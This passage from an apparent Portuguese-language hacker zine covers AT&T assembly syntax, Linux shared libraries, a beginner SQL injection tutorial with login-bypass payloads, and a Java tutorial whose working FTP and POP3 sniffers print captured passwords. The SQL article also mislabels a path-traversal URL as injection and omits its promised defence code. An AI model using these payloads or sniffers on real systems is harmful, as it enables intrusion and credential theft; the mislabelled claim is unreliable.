'%', exemplo %ax, %bx, %cl, %esp Nao interessa onde voce use eles, por ex. mov %eax, %ebx Esse comando vai mover o valor do registrador eax para o registrador ebx. --=[ Valores Literais Os literais em AT&T devem ser prefixados com '$'. Por exemplo: mov $123, %ebx push $ABCD A primeira instrucao move o valor 123 p/ o registrador ebx, equanto a segunda empilha os valores ASCII dos caracteres ABCD. --=[ Enderecamento de Memoria Na sintaxe AT&T, o enderecamento de memoria eh feito da seguinte forma: segmento:offset(base, indexador, escala) Por exemplo, o que em NASM seria [es:eax+ebx*4+100] em GAS ficaria %es:100(%eax, %ebx, 2) Note q no caso dos offsets e da escala, os literais nao precisam ser prefixados por '$'. Alguns exemplos de enderecamentos de memoria: GAS NASM --- ---- 100 [100] %es:100 [es:100] (%eax) [eax] (%eax,%ebx) [eax+ebx] (%ecx,%ebx,2) [ecx+ebx*2] (,%ebx,2) [ebx*2] -10(%eax) [eax-10] %ds:-10(%ebp) [ds:ebp-10] Detalhe: Repare que o offset pode receber valores negativos tambem e valores literais sem '$' sao considerados enderecos de memoria. --=[ Tamanho dos Operandos Algumas vezes, especialmente quando estamos movendo valores para a memoria, eh necessario q especifiquemos o tamanho dos operandos. Por ex: mov $10, 100 Apenas diz q o valor 10 serah movido para o endereco 100, mas nao diz o tamanho da transferencia. Em NASM voce pode especificar o tamanho dos operandos usando as palavras reservadas byte/word/dword etc, na frente do operando. Jah no GAS voce especifica incluindo os sufixos b/w/l na instrucao. Por ex: movb $10, 100 vai mover um byte com o valor 10 p/ o endereco 100, enquanto movl $10, 100 movera um long (4 bytes) com o valor 10 para o endereco 100. --=[ Instrucoes de Desvio As instrucoes call, jmp e ret podem desviar a execucao de uma parte do programa para outra. Os valores para instrucoes call e jmp imediatos recebem 2 parametros: jmp $segmento, $offset Para jumps relativos, o endereco de memoria deve ser prefixado por um '*'. Por ex: jmp *100 Exemplos de instrucoes de desvio: GAS NASM --- ---- Imediato jmp $100, $100 jmp 100:100 ljmp $100, $100 jmp 100:100 call $100, $100 call 100:100 lcall $100, $100 call 100:100 Absoluto jmp 100 jmp 100 call 100 call 100 Indireto jmp *100 jmp near [100] call *100 call near [100] jmp *(%eax) jmp near [eax] call *(%ebx) call near [ebx] ljmp *100 jmp far [100] lcall *100 call far [100] ljmp *(%eax) jmp far [eax] lcall *(%ebx) call far [ebx] Retornos ret retn lret retf lret $0x100 retf 0x100 _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[13]-=[Introducao a SQL Injection]=-|Inseto Verde|=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-= Sumario -= Introducao -= Linguagem "foderosa" -= Entendendo a linguagem -= Entendendo o ataque -= Mais comandos -= Existe jeito? -= Consideracoes finais -= Conheca um pouco mais -= Finished -= --=[ Introducao Neste artigo serah abordado apenas o mini-basico do tao extenso e pode- roso SQL Injection. Mesmo por motivos de minhas limitacoes de conhecimento, nao serah abordado neste artigo o SQL injection profundamente. Um artigo super-newbie, por isso se voce se considera elite, favor nao prossiga a leitura do texto pois serah perda de seu valioso tempo. E com certeza nao irah te acrescentar nada. Este artigo visa ajudar os iniciantes. -Igualmente a mim. --=[ Linguagem "foderosa" A linguagem SQL eh muito usada atualmente, pois ela facilita o trabalho e o acesso ao banco de dados. Com ela o programador pode inserir dados no banco, extrair, deletar... enfim, tem total controle sobre o banco. Mas como jah eh conhecido de todos os forenses: tudo que eh usado para o bem, pode tambem ser usado para o mal! Eh aproveitando dessa natureza que surge o SQL injection. --=[ Entendendo a linguagem Para entendermos um pouco de como implementar um ataque ao banco via injecao de SQL, vamos montar uma sintaxe SQL para a conhecer: SELECT user FROM tab_user WHERE user = '& sUser &' AND pass = '& sPass &' Well, acima temos uma simples sintaxe em SQL, mas o que ela esta' fa- zendo? Essa sintaxe esta' enviando ao banco a requisicao de todos os usuarios que sejam iguais a user '& sUser &' e tenham pass = '& sPass &'. Onde as strin- gs sUser e sPass conteem os valores digitados pelo usuario. Ah! e nessa sintaxe, apos o SELECT, o "user" e' o nome do campo dentro da tabela "tab_user". Assim a sintaxe manda para o banco a requisicao jah defi- nida: "Quero tal coisa de tal lugar se isso for igual a isso e isso igual a isso". Assim se os valores encontrados na tabela correspondem aos valores con- tidos na sintaxe o usuario tera a permissao de continuar a execucao requisitada, tal como por exemplo, acessar uma determinada sessao, pagina pessoal e bla bla bla... Caso os valores da sintaxe sejam incompativeis com os contidos no Banco de Dados, uma mensagem sera exibida (na grande maioria das vezes). --=[ Entendendo o ataque Agora que entendemos como, basicamente, funciona o SQL podemos ver algu- mas formas de implementar um ataque via SQL injection... Usando o exemplo da sintaxe construida acima, nos poderiamos passar direto para a execucao de pagi- nas privadas, mesmo sem ter a senha e usuario valido. Isso e' muito simples. Vamos usar a imaginacao: O que aconteceria se o usuario digitasse na caixa de usuario e senha o seguinte: ' or '1' = '1 Voce consegue dizer como ficaria a sintaxe SQL? Caso nao, la vai: SELECT user FROM tab_user WHERE user =' ' or '1' = '1' AND pass =' ' or '1'='1' E dai??? O que tem demais nisso? Se observarmos a instrucao SQL esta' dizendo ao banco o seguinte: Selecione tudo da tabela tab_user que tiver user = vazio ou 1 igual a 1 e pass = vazio ou 1 igual a 1... Bem, no minimo o nume- ro 1 sempre sera igual a 1, entao "Tamo Dentro". Pra piorar a situacao pra uns e facilitar pra outros, poderemos fazer ainda de uma forma mais simples: ' = ' Quando esse codigo se juntar com a sintaxe SQL ja existente na pagina, ele fica- ra assim: SELECT user FROM tab_user WHERE user = ' '=' ' AND pass = ' '=' ' Pra variar, um campo vazio sempre sera = a vazio, assim, o resultado da sintaxe SQL sera verdadeiro, permitindo a passagem.:) --=[ Mais comandos ... Bem, vamos conhecer mais alguns comandos de SQL, assim voce pode usar a malicia e criar sintaxes diferentes. Caso voce nao conheca bem a linguagem SQL, nem precisa dizer que sera' necessario estuda-la nao e'?! La' vai entao: INSERT INTO tab_user (User, pass) VALUES ('eu_mesmo', 123456) No exemplo acima eu inseri na tabela tab_user um usuario chamado eu_mesmo, com a senha 123456. DELETE FROM tab_user WHERE user = 'eu_mesmo' Pelo comando na sintaxe ja' da' pra saber o que ela faz... Apaga do banco o usu- ario chamado eu_mesmo! Uma coisa bem interessante e' que nos podemos comentar os codigos que vierem posteriormente ao nosso, com um simples comando, o -- exatamente assim. Caso o banco seja um ORACLE, antes do -- teremos de separa-lo da sintaxe com um ; entao no ORACLE ficaria assim ;--. Com isso podemos anular todo o resto da sintaxe que estiver inserida do lado direito apos o codigo injetado por nos. Uma outra coisa bastante interessante e' a concatenacao, podemos fazer isso com um simples + por exemplo... 'bo' + 'ok' = book Se o banco for um ORACLE ficaria assim: 'bo' || 'ok' = book Entendido ne'? Muito simples, o basico. OBS.: Caso quando voce injete um codigo SQL, abra uma pagina de erro 500.100, saiba que o servidor e' um Windows 2000. Este erro e' padrao do Windows, e ne- nhum outro sistema o exibe! --=[ Existe jeito? Para evitar esse tipo de ataque e' necessario fazer um tratamento no co- digo para que toda vez que um comando SQL for inserido nos campos, eles sejam ignorados. Segue abaixo um script de uma função chamada anti_injection. Ela foi escrita por Fabyo do imaster... 1. Com essas poucas linhas ja torna possivel previnir-se contra esse tipo de ataque. Claro que nada e' 100% seguro. Mas ja torna mais dificil de se apli- car uma injecao de SQL no teu codigo. --=[ Consideracoes Finais Quando essa falha foi descoberta, ateh o tao poderoso PHPnuke estava vulneravel, e o que deveria ja ser extinto, ainda nao o e', ao dar uma olhada na internet a dentro, nota-se que muitas paginas ainda sao vulneraveis a SQL injection. Muito mais paginas do que se imagina, e ainda paginas de shopping on-line, essas que garantem ao usuario uma compra "segura", segundo eles. Com um avanco nos conhecimentos de SQL injection e' possivel capiturar dados do banco e exibi-los sem grandes dificuldades. Muitas vezes com um simples: http://www.paginavulneravel.com/../../etc/passwd O arquivo que contem as senhas e' exibido. Fica mais uma vez confirmado, nao provado, que nao existe NADA absolutamente seguro... e que a seguranca e' um sonho sem fundamentos. Aconselho aos interessados em se proteger desse tipo humilhante de ata- que a se aprofundarem mais no assunto. Pois para entender como se proteger, e' preciso se conhecer como e' executado o ataque. --=[ Conheca um pouco mais http://www.w3schools.com/sql/sql_intro.asp http://www.1keydata.com/sql/sql.html http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=sql+ injection&type=archives&%5Bsearch%5D.0&%5Bsearch%5D.y=0 Nos links acima voce podera conseguir mais conhecimento sobre o SQL injection e do proprio SQL em si. --=[ Finished Espero poder ter ajudado a dar uma luz, mesmo que minima, na mente dos interessados... Se voce e' elite e leu o texto ate' aqui, lamento muito por vo- ce nao ter seguido meu conselho. So me resta dizer: Da proxima vez escute con- selhos. Quero lembrar que hacking acima de tecnica e' pura etica, por isso nao use o conhecimento que possui para maus objetivos. Nao existe satisfacao melhor que ajudar outros, "há mais felicidade em dar do que há em receber." Por isso, use de bom senso caso encontre uma pagina vulneravel. E de coracao eu gostaria de agradecer a todos os que me dao forca, em especial o SkyNet45 e o Assuero Grandes mentes lutando pela liberdade da infor- macao... /* Disciplina e' liberdade */ Um abraco a todos, Inseto Verde if.undef [at] gmail [dot] com _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[14]-=[Implementando um Sniffer em Java]=-|tDs|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= --=[ Introducao Manipular raw sockets normalmente nao e' uma tarefa muito simples e pode tornar-se bastante ingrata quando nao se tem um conhecimento amplo sobre tcp/ip (o que e' o meu caso). Escrever codigo em java tambem nao e' uma tarefa muito gratificante (no comeco), pois parece que ao inves de facilitar o trabalho de programar, ela dificulta (ou vai dizer que e' legal ter que ficar tratando ex- ceptions por todo o codigo?). Veremos aqui uma brevissima introducao 'a lingua- gem java, atraves da utilizacao de simples exemplos, ou seja, nao serao expli- cados conceitos por tras da linguagem, e apos isso como trabalhar com raw so- ckets utilizando java (em ambiente linux). --=[ Instalando J2SESDK J2SESDK - Java 2 Standard Edition Software Development Kit - fornece um ambiente completo para o desenvolvimento de aplicacoes em java. Caso ja o tenha instalado, nao e' necessario a leitura desta parte do texto. Apos efetuar a copia de J2SDK em [3] (a instalacao sera feita utilizando o "self-extracting-file", no diretorio /usr/local), a instalacao e' dada da se- guinte forma: # cd /usr/local # chmod +x j2sdk-1_4_2_-linux-i586.bin # ./j2sdk-1_4_2_-linux-i586.bin Aceite a licenca [yes] # rm j2sdk-1_4_2_-linux-i586.bin # ln -s /usr/local/j2sdk1.4.2_ /usr/local/java # echo "export JAVA_HOME=/usr/local/java" >> /etc/profile # echo "PATH=$JAVA_HOME/bin:$PATH" >> /etc/profile Apos esse procedimento, podemos escrever um simples "HelloWorld.java", para testarmos a instalacao (e' necessario efetuar um novo login para que as mudancas de PATH e de localizacao do java surtam efeito) <++> java/HelloWorld.java /** * Simples hello world em java * by tDs tds@motdlabs.org * * Compile com $javac HelloWorld.java */ public class HelloWorld { public static void main(String[] args) { System.out.println ("Hello World"); System.exit(0); } } <--> java/HelloWorld.java Compile e execute o programa: $ javac HelloWorld.java $ java HelloWorld Hello World $ Verificado entao que a instalacao do java foi feita corretamente. --=[ Instalando LIBPCAP Java nao tem suporte nativo a raw sockets, sendo necessario para isso a utilizacao da libpcap. A libpcap nos disponibiliza uma interface em alto nivel para desenvolvimento de sistemas de captura de pacotes. Primeiro e' necessario efetuar o download em [1]. A versao utilizada foi a 0.8.3. A instalacao e' bas- tante simples: $ tar xzvf libpcap-0.8.3.tar.gz $ cd libpcap-0.8.3 $ ./configure $ make # make install Informacoes detalhadas sobre a libpcap podem ser encotradas em sua man page: $ man pcap Uma vez com o J2SDK e a libpcap instalados, e' necessaria a instalacao da Jpcap. --=[ Instalando JPCAP Jpcap e' um conjunto de classes que prove meios para captura de pacotes (sim faz o mesmo que a libpcap mas faz isso utilizando-a). E' necessario efetuar o download dela em [2]. A versao utilizada foi a 0.01.16. A instalacao e' efetu- ada da seguinte forma: $ tar xzvf jpcap-0.01.16.tar.gz # cp jpcap-0.01.16/lib/libjpcap.so $JAVA_HOME/jre/lib/i386/ # cp jpcap-0.01.16/jars/net.sourceforge.jpcap-0.01.16.jar \ $JAVA_HOME/jre/lib/ext/ # echo "export CLASSPATH=\"$JAVA_HOME/jre/lib/ext/net.sourceforge.jpcap-0.01.16.jar\"" A instalacao do que sera necessario para iniciarmos em java esta conclu- ida. Apenas tenha certeza de que tudo foi corretamente instalado e esta funcio- nando (o proximo exemplo nos dara certeza disso, portanto, compile-o). --=[ A Linguagem Java Java e' uma linguagem robusta, com uma utilizacao muito grande, indo desde simples smart-cards, passando por telefone celular e indo ate'super-compu- tadores. Diferentemente de outras linguagens, o compilador java nao gera codigo em "linguagem de maquina", que e' a representacao que "os computadores entendem" , ao inves disso ele gera um "bytecode", que e' uma representacao interpretada pela maquina virtual java (JVM). Ou seja, java nao e' nem compilada, como a lin- guagem C por exemplo, e nem interpretada, como PHP ou PERL. Para desenvolver em java, e' necessario ter um conhecimento, mesmo que minimo, sobre o conceito de "orientacao a objeto" (OOP), que e' uma forma de manipulacao e armazenamento de dados diferente da utilizada em linguagens estruturadas. Um aprofundamento sobre programacao em java pode ser encontrado em [4]. --=[ Iniciando o uso de JPCAP Indo diretamente a exemplos, comecamos com um que lista os dispositivos disponiveis na maquina: <++> java/ListaDispositivos.java import net.sourceforge.jpcap.capture.*; import net.sourceforge.jpcap.net.*; /** * Lista os dispositivos de rede presente na maquina * by tDs tds@motdlabs.org * * Compile com $javac ListaDispositivos.java */ public class ListaDispositivos { // Cria uma instancia de PacketCapture, que sera o objeto responsavel pela // manipulacao das interfaces de rede (neste caso). private static PacketCapture mPcap = new PacketCapture(); public static void main(String[] args) { try { // Obtem uma lista com as interfaces disponiveis String dev[] = mPcap.lookupDevices(); System.out.println ("Foram encontrados " + dev.length + " dispositivos:"); //exibe cada dispositivo encontrado for (int cont = 0; cont < dev.length; cont++) System.out.println (" - " + dev[cont]); } catch (Exception e) {} } } <--> java/ListaDispositivos.java Apenas lendo os comentarios do codigo conseguimos ter um perfeito enten- dimento do que ele faz. Executando-o como root vemos o seguinte (que pode e cer- tamente sera diferente): # javac ListaDispositivos.java # java -cp . ListaDispositivos PacketCapture: loading native library jpcap.. ok Foram encontrados 4 dispositivos: - lo - eth0 - eth1 - ppp0 # O comando "java -cp . ListaDispositivos" executa a classe ListaDisposi- tivos.class (que foi previamente compilado com "javac ListaDispositivos.java"), informando que o classpath (localizacao das classes) e' o diretorio corrente ( "." ). Note que nao e' necessario informar o nome do arquivo que sera execu- tado, mas somente o nome da classe, que neste caso e' "ListaDispositivos". Observe que somente o root pode executar. No caso de um usuario sem privilegios, teriamos o seguinte: $ java -cp . ListaDispositivos PacketCapture: loading native library jpcap.. ok Foram encontrados 0 dispositivos: $ O exemplo seguinte vai exibir todos os pacotes que estejam iniciando uma conexao em algum servico local. A verificacao e' dada atraves do bit SYN setado, estando o ACK em 0. Apenas lembrando, uma conexao tcp e' estabelecida pelo cha- mado "Three Way Handshake", ou algo como "Triplo aperto de maos". Funciona mais ou menos assim: - Host A, que vai conectar-se em Host B envia um pacote com a flag SYN, de syncronize, que solicita ao Host B uma sincronizacao de "sequence numbers", que sao os numeros de sequencia de pacotes tcp. - Host B quando recebe o pacote com a flag SYN setada, responde ao Host A com um outro pacote, tendo as flags SYN e ACK, de Acknowledgement, setadas. - Host A envia entao um terceiro pacote, com a flag ACK setada. Apos isso a conexao e' estabelecida. Com isso em mente e' possivel perceber como podemos verificar se um pa- cote que chega e' ou nao o pedido de uma nova conexao. Vamos ao exemplo: <++> java/CapturaInicioConexao.java import net.sourceforge.jpcap.capture.*; import net.sourceforge.jpcap.net.*; /** * Exibe todos os pacotes que sejam enviados em pedidos de conexao * a servicos locais * by tDs tds@motdlabs.org * * Compile com $javac CapturaInicioConexao.java */ public class CapturaInicioConexao { private static final String FILTER = "proto TCP"; private static String devHandler; // Cria uma instancia de PacketCapture, que sera o objeto responsavel pela // manipulacao das interfaces de rede (neste caso). private static PacketCapture pcap = new PacketCapture(); public static void main(String[] args) { try { // Obtem uma lista com as interfaces disponiveis // e assina mDevice com o primeiro encontrado String dev[] = pcap.lookupDevices(); devHandler = dev[0]; // abre inteface para iniciar captura de pacotes pcap.open(devHandler, true); // adiciona um filtro (protocolo = TCP) para captura de dados pcap.setFilter(FILTER, true); // registra um RawPacketListener, que e' o objeto que vai // "ler/escutar" os pacotes que nos interessa pcap.addPacketListener(new PacketHandler()); // inicia captura de pacotes pcap.capture(-1); } catch (Exception e) {} } } /** * cria um packet listener, que ira receber os pacores enviados * por um PacketCapture que o registre */ class PacketHandler implements PacketListener { private static int pcounter = 0; public void packetArrived(Packet pacote) { TCPPacket tcp = (TCPPacket) pacote; // feita uma verificacao se o bit SYN esta setado // e mais nenhum outro if (tcp.isSyn() && !tcp.isAck() && !tcp.isFin() && !tcp.isPsh() && !tcp.isRst() ) { pcounter++; System.out.println("Recebendo pedido de conexao na porta " + tcp.getDestinationPort() + "."); System.out.println("Endereco: " + tcp.getSourceAddress()); } } } <--> java/CapturaInicioConexao.java Executando temos o seguinte: # java -cp . CapturaInicioConexao PacketCapture: loading native library jpcap.. ok Em outro terminal, executamos o seguinte: $ telnet localhost 223 Trying 127.0.0.1... telnet: connect to address 127.0.0.1: Connection refused $ Voltando para a captura de pacotes: # java -cp . CapturaInicioConexao PacketCapture: loading native library jpcap.. ok Recebendo pedido de conexao na porta 223. Endereco: 127.0.0.1 E' possivel observar com esse exemplo acima a facilidade de manipulacao de pacotes. Este proximo exemplo captura pacotes destinados a porta 21 (ftp). Apos a captura sao feitas algumas analises para verificar se o usuario fez login corretamente. Caso tenha feito, exibe o nome e a senha utilizadas para isso. <++> java/FtpGetLogin.java import net.sourceforge.jpcap.capture.*; import net.sourceforge.jpcap.net.*; import java.lang.*; /** * Exibe nome de usuario e senha de tentativas de login bem efetuadas localmente * by tDs tds@motdlabs.org * * Compile com $javac FtpGetLogin.java */ public class FtpGetLogin { private static final String FILTER = "proto TCP and port 21"; private static String devHandler; private static PacketCapture pcap = new PacketCapture(); public static void main(String[] args) { try { String dev[] = pcap.lookupDevices(); devHandler = dev[0]; pcap.open(devHandler, true); pcap.setFilter(FILTER, true); pcap.addPacketListener(new PacketHandler()); pcap.capture(-1); } catch (Exception e) { System.out.println(e.getMessage()); } } } class PacketHandler implements PacketListener { private static String USER = ""; private static String PASS = ""; private static boolean FLAG = false; public void packetArrived(Packet pacote) { // faz um cast do pacote recebido para um tipo TCPPacket TCPPacket tcp = (TCPPacket) pacote; // Obtem o conteudo do campo DATA do pacote TCP byte d[] = tcp.getTCPData(); StringBuffer data = new StringBuffer(); for (int c = 0; c < d.length; c++) data.append( (char) d[c]); // verifica se foi informado usuario/senha e assina o valor a eles if (data.toString().indexOf("USER") != -1) USER = data.toString().replaceAll("USER","").trim(); if (data.toString().indexOf("PASS") != -1) PASS = data.toString().replaceAll("PASS","").trim(); // cod. 230 indica que efetuou login corretamente, levanta uma flag if (data.toString().indexOf("230") != -1) FLAG = true; // cod. 530 indica que nao efetuou login corretamente, apaga info sobre // usuario e senha if (data.toString().indexOf("530") != -1) USER = PASS = ""; // caso tenha se logado, informa o user e a senha if (FLAG) { System.out.println("Recebendo conexao ftp..."); System.out.println("Usuario: " + USER); System.out.println("Senha: " + PASS + "\n"); FLAG = false; } } } <--> java/FtpGetLogin.java Executando temos o seguinte: # java -cp . FtpGetLogin PacketCapture: loading native library jpcap.. ok Em outro terminal, efetuamos um login via ftp: $ ftp localhost Connected to localhost. 220 ProFTPD 1.2.9 Server (tDs's FTP) [matrix.net] Name (localhost:tds): dumb 331 Password required for dumb. Password: 230 User dumb logged in. Remote system type is UNIX. Using binary mode to transfer files. Voltando para a captura de logins: # java -cp . FtpGetLogin PacketCapture: loading native library jpcap.. ok Recebendo conexao ftp... Usuario: dumb Senha: senha Observa-se que, com aproximadamente 70 linhas de codigo, e' possivel fazer uma ferramenta util para captura de usuarios e senhas de ftp. Vamos a mais um exemplo: <++> java/PopGetLogin.java import net.sourceforge.jpcap.capture.*; import net.sourceforge.jpcap.net.*; import java.lang.*; /** * Exibe nome de usuario e senha de tentativas de login bem efetuadas localmente * by tDs tds@motdlabs.org * * Compile com $javac PopGetLogin.java */ public class PopGetLogin { private static final String FILTER = "proto TCP and port 110"; private static String devHandler; private static PacketCapture pcap = new PacketCapture(); public static void main(String[] args) { try { String dev[] = pcap.lookupDevices(); devHandler = dev[0]; pcap.open(devHandler, true); pcap.setFilter(FILTER, true); pcap.addPacketListener(new PacketHandler()); pcap.capture(-1); } catch (Exception e) { System.out.println(e.getMessage()); } } } class PacketHandler implements PacketListener { private static String USER = ""; private static String PASS = ""; private static boolean FLAG = false; public void packetArrived(Packet pacote) { // faz um cast do pacote recebido para um tipo TCPPacket TCPPacket tcp = (TCPPacket) pacote; // Obtem o conteudo do campo DATA do pacote TCP byte d[] = tcp.getTCPData(); StringBuffer data = new StringBuffer(); for (int c = 0; c < d.length; c++) data.append( (char) d[c]); // verifica se foi informado usuario/senha e assina o valor a eles if (data.toString().indexOf("USER") != -1) USER = data.toString().replaceAll("USER","").trim(); if (data.toString().indexOf("PASS") != -1) PASS = data.toString().replaceAll("PASS","").trim(); // +OK ? indica que efetuou login corretamente, levanta uma flag if (data.toString().indexOf("OK") != -1 && USER.length() > 1 && PASS.length() > 1) FLAG = true; // -ERR ? indica que nao efetuou login corretamente, apaga info sobre // usuario e senha if (data.toString().indexOf("-ERR") != -1) USER = PASS = ""; // caso tenha se logado, informa o user e a senha if (FLAG && USER.length() > 1 && PASS.length() > 1) { System.out.println("Recebendo conexao POP3..."); System.out.println("Usuario: " + USER); System.out.println("Senha: " + PASS + "\n"); FLAG = false; USER = PASS = ""; } } } <--> java/PopGetLogin.java Observa-se a grande semelhanca entre o sniffer para FTP e o sniffer para POP3 e a simplicidade de ambos. --=[ Agradecimentos e Links/Referencias Pessoal da scene brasileira toda, em especial ao pessoal que converso com maior frequencia. Voces sabem quem sao voces. Informacao e' simples de se adquirir, internet esta cheia disso. Basta saber procurar... [1] http://www.tcpdump.org/release/libpcap-0.9.0-096.tar.gz [2] http://sourceforge.net/projects/jpcap [3] http://java.sun.com/j2se/1.4.2/download.html [4] http://www.ic.unicamp.br/~cmrubira/aacesta/java/javatut.html _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[15]-=[Desenvolvimento de Bibliotecas]-=|nEuRoMaNcEr|=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 01 - Introdução 02 - Shared libraries 03 - Nomeclatura e localização 04 - Como funcionam as shared libs 05 - ldconfig 06 - Criando uma shared lib 07 - Utilizando shared libs 08 - Utilizando shared libs dinamicamente 09 - dlopen e sua turma. 10 - O que está por vir. --=[ Introdução Saudações pessoas, essa é a minha primeira e humilde contribuição nessa zine, então vamos direto ao ponto. Desenvolvimento de bibliotecas em ambiente linux. Estaremos utilizando ferramentas GNU e talvez alguma parte esquecida dos nossos cérebros. --=[ Shared libraries Para desenvolvermos bibliotecas deste tipo, precisamos ter em mente que elas tem nomes especiais e sua localização no sistema de arquivos é importante para sua utilização. Shared libs são carregadas na inicialização do programa e compartilhada entre programas. --=[ Nomeclatura e localização Toda shared lib tem três nomes especiais. O primeiro nome chamado "nome SO" ou SONAME. O SONAME é composto pelo prefixo "lib" + nome da biblioteca + o sufixo ".so" e um número de versão que é incrementado a cada nova release da biblioteca. O segundo nome especial é o "nome real" ou REALNAME. O REALNAME é formado pelo SONAME + um número de versão + número de release (opcional). O ter- ceiro nome é o nome de link-edição ou LINKERNAME. Este é o nome que o compilador usa quando solicita uma biblioteca. Este nome é basicamente o SONAME sem os nú- meros de versão. Se criássemos agora uma biblioteca chamada "foo", certamente seria a versão 0.0 e a primeira release. Teríamos então libfoo.so.0 como SONAME. O RE- ALNAME seria libfoo.so.0.0.1 e o LINKERNAME seria foo. Depois de criada a biblioteca, ela precisa ser instalada em algum lugar, certo? O padrão GNU recomenda que sejam instaladas em /ust/local/lib quando dis- tribuído junto com código fonte. Porém um outro padrão chamado FHS (Filesystem Hierarchy Standard) define o que deve ir onde em uma distribuição linux. Este padrão diz que as libs devem ser instaladas em /usr/lib ou /lib no caso de bi- bliotecas necessárias para a inicialização do sistema. Embora aparente que os dois padrões se contradigam, isso não acontece, pois o padrão GNU define a loca- lização para distribuição de código fonte, e o padrão FHS usa o ponto de vista de distros e onde cada lib deve estar instalada para ser usada por outros pro- gramas. --=[ Como funcionam as shared libs Para discutirmos o funcionamento das shared libs, temos que estar fami- liarizados com o loader. O loader é um programa geralmente localizado em /lib/ ld-linux.so.? (? é um numero de versão). A tarefa do loader é encontrar e carregar todas as libs utilizadas por um programa durante a sua inicialização. Para encontrar as libs usadas por um programa, ld-linuz.so tem um mapa de diretórios pelos quais ele pode buscar a lib que precisa. Este mapa é o arquivo chamado /etc/ld.so.conf. O padrão fhs pode ser consultado em http://www.pathname.com/fhs. Uma vez que uma lib é carregada na memória, ela permanece lá até que nenhum outro pro- grama utilize símbolos exportados por ela. --=[ ldconfig Pode ser terrivelmente pouco eficiente procurar por todos os diretórios de ld.so.conf durante a inicialização de um programa, então é aí que entra o ldconfig. Esse carinha mantém um cache de localização de libs criado a partir do arquivo /etc/ld.so.conf. Este cache acelera o processo consideravelmente. Este processo pode ser feito com o comando: #ldconfig -n diretorio_com_as_libs Além disso, o ldconfig tem outros superpoderes. Sempre que um nova lib é instalada no sistema, ldconfig é o responsável por configurar seus nomes (SONAME ,REALNAME e LINKNAME) através de links simbólicos e instalá-la no lugar correto no sistema de arquivos. --=[ Criando uma shared lib Ao contrário das DLLs do M$ ruWindows, shared libs em linux não tem um modo específico de ser programado. É simplesmente uma função ou funções exporta- das como símbolos públicos. Simples assim. O código abaixo é o código completo de uma library 100% funcional. --------------libteste.c----------------- <++> sharedlib/libteste.c #include void say(char *s) { printf("You said: %s\n", s); } <--> sharedlib/libteste.c ----------------------------------------- Para compilarmos nossa libteste fazemos: #gcc -fPIC -Wall -c libteste.c -o libmarcio.o O parâmetro -fPIC instrui o compilador a gerar código independente da posição. O parâmetro -c já é manjado. Instrui o compilado a só compilar (e não linkar) o código. O Parâmetro -o também já é manjadão, configura o nome do arquivo ge- rado pelo gcc. Neste ponto temos o nosso código compilado. A única diferença nesta com- pilação foi que geramos código independente da posição onde ele é carregado (PIC ou position independent code). Agora realmente geramos nossa lib com o comando: #gcc -shared -Wl,-soname,libteste.so.0 -o libteste.so.0.0 libteste.o -lc Percebam que estamos definindo o SONAME,REALNAME e LINKNAME neste ponto. Defini- mos o soname com -Wl, -soname libteste.so.0. Definimos o REALNAME com -o libtes- te.so.0.0. Este é o nome que o arquivo compilado terá. Uma vez criada a nossa lib, temos que instalar no sistema de arquivos e criar o cache para ela. Inicialmente copiamos a lib para o diretório /usr/lib (padrão GNU, lembram ?) #cp libteste.so.0.0 /usr/lib Configuramos o cache e o SONAME automaticamente com o ldconfig: ldconfig -n /usr/lib/ Configuramos o LINKERNAME na marra: ln -sf /usr/lib/libteste.so.0.0 /usr/lib/libteste.so TCHANAAAAAMMM! Temos uma shared lib criada e instalada no sistema. Saem lágrimas dos meus olhos sempre que passo por estes passos. É um processo tão lindo... Bom, mas até agora uma lib instalada não é muito útil se for pra ficar perdida lá no disco pegando poeira... Como fazer um programa utilizar o código que exportamos na lib? Simples... Olhe o próximo tópico! :) --=[ Utilizando shared libs Vamos lá cambada, vamos criar um programa que utilize a nossa lib. --------------------------usalib.c------------------------- <++> sharedlib/usalib.c #include // se você criou um header com os cabeçalhos das rotinas exportadas na lib, // inclua ele aqui. Isso permite que o compilador te avise se você está // referenciando a rotina de maneira certa. int main(int argc, char **argv ) { while ( argc > 1 ) // para cada parâmetro passado ao programa... { argc--; say(argv[argc]); // esta função está implementada na nossa lib! } } <--> sharedlib/usalib.c ----------------------------------------------------------- Mais fácil que isso só encontrar bug no SO da concorrência $$$! Durante a compilação, informamos que o nosso código deve ser linkado com a libteste.so. Isso é feito com: #gcc usalib.c -lteste usalib.c -o usalib Para executar o nosso programa faríamos #./usalib wako yako doty Teríamos então a saída: You said: doty You said: yako You said: wako --=[ Utilizando shared libs dinamicamente Uma boa vantagem da utilização de libs é a possibilidade de carregamento dinâmico. Uma lib pode ser carregada em qualquem momento durante a execução de um programa, não sendo restrito somente a sua inicialização. Plugins e módulos não essenciais a execução de um programa podem se beneficiar deste método para carregar as libs que necessitam somente no momento em que forem ativados. Nenhuma modificação por parte da lib precisa ser feita para que este seja capaz de ser associada dinamicamente a um programa. Entretanto, o programa que utilizará o código exportado na lib precisa especificar explicitamente qual símbolo e qual lib deseja acessar. Para essa tarefa temos a libdl. --=[ dlopen e sua turma. A libdl implementa algumas rotinas que nos possibilitam acessar dinami- camente uma lib. As rotinas tem seus cabeçalhos em dlfcn.h como abaixo: void *dlopen(const char *filename, int flag); void *dlsym(void *handle, const char *symbol); int dlclose(void *handle); dlopen() carrega a lib e retorna um "handle" que identifique a lib 